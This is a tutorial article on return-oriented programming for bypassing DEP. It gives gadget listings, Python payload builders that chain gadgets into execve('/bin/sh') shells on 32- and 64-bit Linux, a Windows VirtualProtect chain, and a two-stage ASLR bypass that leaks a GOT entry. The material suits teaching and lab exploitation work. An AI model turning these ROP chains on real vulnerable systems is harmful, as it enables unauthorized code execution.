Bypassing DEP with ROP Chains
In the previous article, we bypassed DEP by calling system("/bin/sh") — a single libc function. That’s enough for a simple shell. But what if you need to do something more complex?
- Write a string to memory (to set up an argument that doesn’t already exist in libc)
- Set up multiple registers for a syscall
- Call
mprotect()to make the stack executable, then jump to shellcode - Build a reverse shell by chaining
socket(),connect(),dup2(),execve()
Calling whole functions gets messy fast — managing return addresses, cleaning up arguments between calls. And for some operations (like writing to memory), there’s no single libc function that does what you need.
Return-Oriented Programming (ROP) solves this. Instead of calling whole functions, you chain tiny fragments of existing code — typically 2-5 instructions ending with ret. Each fragment (called a gadget) does one small thing: pop a value into a register, write to memory, add two values. The ret at the end jumps to the next gadget. Together, they form a program.
ROP is Turing-complete. With enough gadgets, you can do anything. This is how every modern binary exploit works.
What is a Gadget?
A gadget is a sequence of machine instructions that ends with ret. They exist naturally throughout every binary and its loaded libraries — they’re just the tail ends of real functions, or even unaligned interpretations of other instructions.
; Gadget: pop eax; ret
0x080485a6: pop eax ; Load top of stack into EAX
0x080485a7: ret ; Pop next address into EIP → jump to next gadget
; Gadget: pop ebx; ret
0x080485f7: pop ebx
0x080485f8: ret
; Gadget: mov [eax], ebx; ret
0x08048734: mov dword [eax], ebx ; Write EBX to the address in EAX
0x08048736: ret
; Gadget: xor eax, eax; ret
0x08048512: xor eax, eax ; Set EAX = 0
0x08048514: ret
; Gadget: int 0x80; ret
0x08048423: int 0x80 ; Trigger Linux syscall
0x08048425: ret
Each gadget does one tiny operation. The ret instruction is the glue — it pops the next address from the stack, jumping to the next gadget.
How ROP Chains Work
The ret instruction does one thing: pop the top of the stack into EIP. In normal execution, this returns to the caller. But if we control the stack (via buffer overflow), we control what ret pops.
The stack becomes our program. Each entry is either a gadget address (code to execute) or data (values to pop into registers).
Stack layout (our ROP chain):
┌─────────────────────────┐ ← ESP after vulnerable function's ret
│ Address of Gadget 1 │ → pop eax; ret
├─────────────────────────┤
│ Value for EAX │ → popped into EAX by gadget 1
├─────────────────────────┤
│ Address of Gadget 2 │ → pop ebx; ret (popped by gadget 1's ret)
├─────────────────────────┤
│ Value for EBX │ → popped into EBX by gadget 2
├─────────────────────────┤
│ Address of Gadget 3 │ → mov [eax], ebx; ret
├─────────────────────────┤
│ Address of Gadget 4 │ → next operation...
└─────────────────────────┘
Execution flow:
- Vulnerable function’s
retpops Gadget 1 → jumps topop eax; ret pop eaxloads our value into EAX.retpops Gadget 2 → jumps therepop ebxloads our value into EBX.retpops Gadget 3 → jumps theremov [eax], ebxwrites EBX to the address in EAX.retpops Gadget 4…
Each ret is a link in the chain. We’re executing real code — from executable memory pages — so DEP doesn’t interfere.
Finding Gadgets
You don’t search by hand. Tools scan the binary for all sequences ending with ret.
ROPgadget
$ ROPgadget --binary ./vulnerable
Gadgets information
============================================================
0x080485a6 : pop eax ; ret
0x080485f7 : pop ebx ; ret
0x0804861a : pop ecx ; pop edx ; ret
0x08048734 : mov dword ptr [eax], ebx ; ret
0x08048512 : xor eax, eax ; ret
0x080484f1 : inc eax ; ret
0x08048423 : int 0x80
...
Unique gadgets found: 147
ropper
$ ropper --file ./vulnerable --search "pop eax"
0x080485a6: pop eax; ret;
0x080487c3: pop eax; pop ebx; ret;
Searching libc (thousands more gadgets)
$ ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 | wc -l
12847
The more code loaded into the process, the more gadgets available. libc alone provides a massive gadget library.
Practical Example 1 — execve(“/bin/sh”) via ROP on 32-bit Linux
Let’s build a ROP chain that makes the execve syscall directly — without calling system().
On 32-bit Linux, execve requires:
EAX = 11 (syscall number)
EBX = pointer to "/bin/sh"
ECX = NULL (argv)
EDX = NULL (envp)
then: int 0x80 (trigger syscall)
We need to:
- Write
"/bin/sh\0"somewhere in writable memory - Set EAX = 11
- Set EBX = address of “/bin/sh”
- Set ECX = 0, EDX = 0
- Execute
int 0x80
Step 1: Find Gadgets
$ ROPgadget --binary ./vulnerable --search "pop eax"
0x080485a6 : pop eax ; ret
$ ROPgadget --binary ./vulnerable --search "pop ebx"
0x080485f7 : pop ebx ; ret
$ ROPgadget --binary ./vulnerable --search "pop ecx"
0x0804861a : pop ecx ; pop edx ; ret # Sets both ECX and EDX — bonus!
$ ROPgadget --binary ./vulnerable --search "mov.*eax.*ebx"
0x08048734 : mov dword ptr [eax], ebx ; ret
$ ROPgadget --binary ./vulnerable --search "xor eax"
0x08048512 : xor eax, eax ; ret
$ ROPgadget --binary ./vulnerable --search "inc eax"
0x080484f1 : inc eax ; ret
$ ROPgadget --binary ./vulnerable --search "int 0x80"
0x08048423 : int 0x80
Step 2: Find a Writable Location
We need somewhere to write “/bin/sh”. The .bss section is writable and always present:
$ readelf -S ./vulnerable | grep bss
[25] .bss PROGBITS 0804a028 001028 000004 00 WA 0 0 1
We’ll write to 0x0804a028.
Step 3: Build the Chain
import struct
p = lambda x: struct.pack("<I", x)
# Gadget addresses
pop_eax = 0x080485a6 # pop eax; ret
pop_ebx = 0x080485f7 # pop ebx; ret
pop_ecx_edx = 0x0804861a # pop ecx; pop edx; ret
mov_eax_ebx = 0x08048734 # mov [eax], ebx; ret
xor_eax = 0x08048512 # xor eax, eax; ret
inc_eax = 0x080484f1 # inc eax; ret
int_0x80 = 0x08048423 # int 0x80
writable = 0x0804a028 # .bss section
offset = 44 # padding to return address
payload = b"A" * offset
# ===== Write "/bin" to .bss =====
payload += p(pop_eax)
payload += p(writable) # EAX = .bss address
payload += p(pop_ebx)
payload += b"/bin" # EBX = "/bin" (raw 4 bytes)
payload += p(mov_eax_ebx) # [.bss] = "/bin"
# ===== Write "/sh\x00" to .bss+4 =====
payload += p(pop_eax)
payload += p(writable + 4) # EAX = .bss + 4
payload += p(pop_ebx)
payload += b"/sh\x00" # EBX = "/sh\0" (null-terminated)
payload += p(mov_eax_ebx) # [.bss+4] = "/sh\0"
# ===== Set up registers for execve =====
payload += p(pop_ebx)
payload += p(writable) # EBX = pointer to "/bin/sh"
payload += p(pop_ecx_edx)
payload += p(0x00000000) # ECX = NULL (argv)
payload += p(0x00000000) # EDX = NULL (envp)
# ===== Set EAX = 11 (execve syscall number) =====
payload += p(xor_eax) # EAX = 0
for _ in range(11):
payload += p(inc_eax) # EAX += 1 (repeat 11 times)
# ===== Trigger syscall =====
payload += p(int_0x80) # execve("/bin/sh", NULL, NULL)
with open("payload", "wb") as f:
f.write(payload)
Step 4: Run It
$ (cat payload; cat) | ./vulnerable
whoami
thilan
id
uid=1000(thilan) gid=1000(thilan) groups=1000(thilan)
Shell. DEP is on. Every instruction we executed came from the binary’s .text section. We wrote “/bin/sh” to .bss, loaded registers, and triggered a syscall — all with existing code.
Understanding the Chain
Let’s trace the first few gadgets:
1. ret → pops 0x080485a6 → jumps to "pop eax; ret"
2. pop eax → EAX = 0x0804a028 (.bss)
3. ret → pops 0x080485f7 → jumps to "pop ebx; ret"
4. pop ebx → EBX = 0x6e69622f ("/bin" in little-endian)
5. ret → pops 0x08048734 → jumps to "mov [eax], ebx; ret"
6. mov [eax], ebx → writes "/bin" to .bss address
7. ret → pops next gadget → continues...
Each gadget executes 1-2 instructions and passes control to the next via ret. The stack is our instruction sequence.
Practical Example 2 — ROP on 64-bit Linux
On 64-bit, arguments go in registers (rdi, rsi, rdx, rcx, r8, r9). This actually makes ROP cleaner — we just need pop rdi; ret type gadgets.
For system("/bin/sh"):
from struct import pack
p64 = lambda x: pack("<Q", x)
offset = 72 # padding (varies per binary)
pop_rdi = p64(0x00400753) # pop rdi; ret
binsh = p64(0x7ffff7f588cf) # "/bin/sh" in libc
ret = p64(0x00400754) # ret (alignment)
system = p64(0x7ffff7e42da0) # system() in libc
exit_fn = p64(0x7ffff7e369e0) # exit()
payload = b"A" * offset
payload += pop_rdi # Gadget: load rdi
payload += binsh # rdi = "/bin/sh"
payload += ret # Align stack to 16 bytes
payload += system # Call system("/bin/sh")
payload += exit_fn # Clean exit
with open("payload", "wb") as f:
f.write(payload)
For a full execve syscall on 64-bit:
# execve syscall on x86-64:
# RAX = 59 (syscall number)
# RDI = pointer to "/bin/sh"
# RSI = NULL (argv)
# RDX = NULL (envp)
# syscall instruction (not int 0x80!)
pop_rax = p64(0x00400756) # pop rax; ret
pop_rdi = p64(0x00400753) # pop rdi; ret
pop_rsi = p64(0x00400761) # pop rsi; ret
pop_rdx = p64(0x00400763) # pop rdx; ret
syscall = p64(0x00400770) # syscall; ret
payload = b"A" * offset
payload += pop_rdi + p64(binsh_addr) # rdi = "/bin/sh"
payload += pop_rsi + p64(0) # rsi = NULL
payload += pop_rdx + p64(0) # rdx = NULL
payload += pop_rax + p64(59) # rax = 59 (execve)
payload += syscall # trigger!
Cleaner than 32-bit because each register is set with a single pop reg; ret gadget.
Stack Alignment on 64-bit
The System V ABI requires the stack to be 16-byte aligned before a call. When we arrive at a function via ret (not call), alignment may be off by 8 bytes. If system() crashes with SIGSEGV on a movaps instruction, add a ret gadget before it to shift ESP by 8.
ROP on Windows — VirtualProtect
On Windows, the most common ROP strategy is to call VirtualProtect() to make the stack executable, then jump to shellcode on the stack.
BOOL VirtualProtect(
LPVOID lpAddress, // Address of region to change
SIZE_T dwSize, // Size of region
DWORD flNewProtect, // New protection (0x40 = PAGE_EXECUTE_READWRITE)
PDWORD lpflOldProtect // Pointer to receive old protection value
);
The ROP chain:
- Set up the 4 arguments for
VirtualProtecton the stack - Call
VirtualProtect(stack_addr, 0x1000, 0x40, &writable_addr) - The stack is now executable (RWX)
- Jump to shellcode on the stack
# Windows ROP chain concept (addresses are example)
rop = b""
rop += p(pop_ecx) # ECX = lpAddress (stack address)
rop += p(stack_addr)
rop += p(pop_edx) # EDX = dwSize
rop += p(0x00001000)
rop += p(pop_esi) # ESI = flNewProtect
rop += p(0x00000040) # PAGE_EXECUTE_READWRITE
rop += p(virtualprotect) # Call VirtualProtect
rop += p(shellcode_addr) # Return to shellcode after VirtualProtect
Finding gadgets in Windows requires scanning loaded DLLs (kernel32.dll, ntdll.dll, etc.) that aren’t compiled with ASLR, or combining with an info leak.
Defeating ASLR with ROP
ASLR randomizes library base addresses. Our hardcoded gadget addresses break on every run. The solution: leak a libc address, calculate the base, adjust all addresses.
The Two-Stage Attack
Stage 1: Leak a libc address
↓ (now we know libc_base)
Stage 2: Build ROP chain with correct addresses → shell
Stage 1 — Leak via PLT/GOT
If the binary has a puts() or write() function, we can use ROP to call it with a GOT entry as the argument. The GOT entry contains a resolved libc address.
# Stage 1: Leak puts@GOT (which contains puts()'s real libc address)
payload = b"A" * offset
payload += p(puts_plt) # Call puts() via PLT
payload += p(main_addr) # Return to main (so we can exploit again)
payload += p(puts_got) # Argument: puts@GOT address
# Send stage 1 and read the leak
p.sendline(payload)
leaked_puts = u32(p.recv(4))
# Calculate libc base
libc_base = leaked_puts - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
Stage 2 — Exploit with Correct Addresses
# Stage 2: ret2libc with correct addresses
payload = b"A" * offset
payload += p(system)
payload += p(exit_fn)
payload += p(binsh)
p.sendline(payload)
p.interactive()
This is the realistic exploitation pattern for modern binaries with full protections.
Automated ROP Chain Generation
Building chains by hand is educational but tedious. In practice, tools handle it.
pwntools (Python)
from pwn import *
elf = ELF('./vulnerable')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
rop = ROP(elf)
# Automatic chain building
rop.call('system', [next(libc.search(b'/bin/sh'))])
rop.call('exit', [0])
log.info(rop.dump())
payload = b"A" * offset + rop.chain()
pwntools finds gadgets, handles calling conventions, and generates the chain.
ROPgadget Auto-Chain
$ ROPgadget --binary ./vulnerable --ropchain
ROP chain generation
===========================================================
- Step 1 -- Write-what-where gadgets
[+] Gadget found: 0x08048734 mov dword ptr [eax], ebx ; ret
...
- Step 5 -- Syscall gadget
[+] Gadget found: 0x08048423 int 0x80
# Full Python exploit is generated automatically
Mitigations Against ROP
The security community continues to build defenses:
| Mitigation | How It Works | Bypass |
|---|---|---|
| Stack Canaries | Random value before return address — detects overwrites | Leak the canary (format string, info disclosure) |
| ASLR | Randomizes code/library addresses | Info leak → calculate base |
| CFI (Control Flow Integrity) | Validates indirect jumps/returns go to legitimate targets | Complex, research ongoing |
| Shadow Stack (Intel CET) | Hardware-protected copy of return addresses | Very new, limited bypass research |
| Restricted gadgets | Compiler reduces useful gadgets | Use gadgets from libraries instead |
| RELRO (Full) | GOT is read-only | Target other writable function pointers |
Each mitigation raises the bar. None completely eliminates ROP — but they make exploitation significantly harder and less reliable.
ROP Cheat Sheet
| Component | What It Does |
|---|---|
| Gadget | Small instruction sequence ending in ret |
| pop reg; ret | Load a stack value into a register |
| mov [reg], reg; ret | Write to memory |
| xor reg, reg; ret | Zero a register |
| int 0x80 / syscall | Trigger a syscall |
| ret | Stack pivot / alignment |
| ROP chain | Sequence of gadget addresses + data on the stack |
| ROPgadget | Tool to find gadgets in binaries |
| ropper | Alternative gadget finder |
| pwntools ROP | Automated chain building in Python |
What’s Next
With ret2libc and ROP chains, you can bypass DEP on any platform. Combined with format string leaks for ASLR bypass, this gives you a complete exploitation toolkit for stack-based vulnerabilities.
The next frontier is the heap — heap internals and heap exploitation — where the techniques are different but the goal is the same: gain control of execution.
Happy reversing!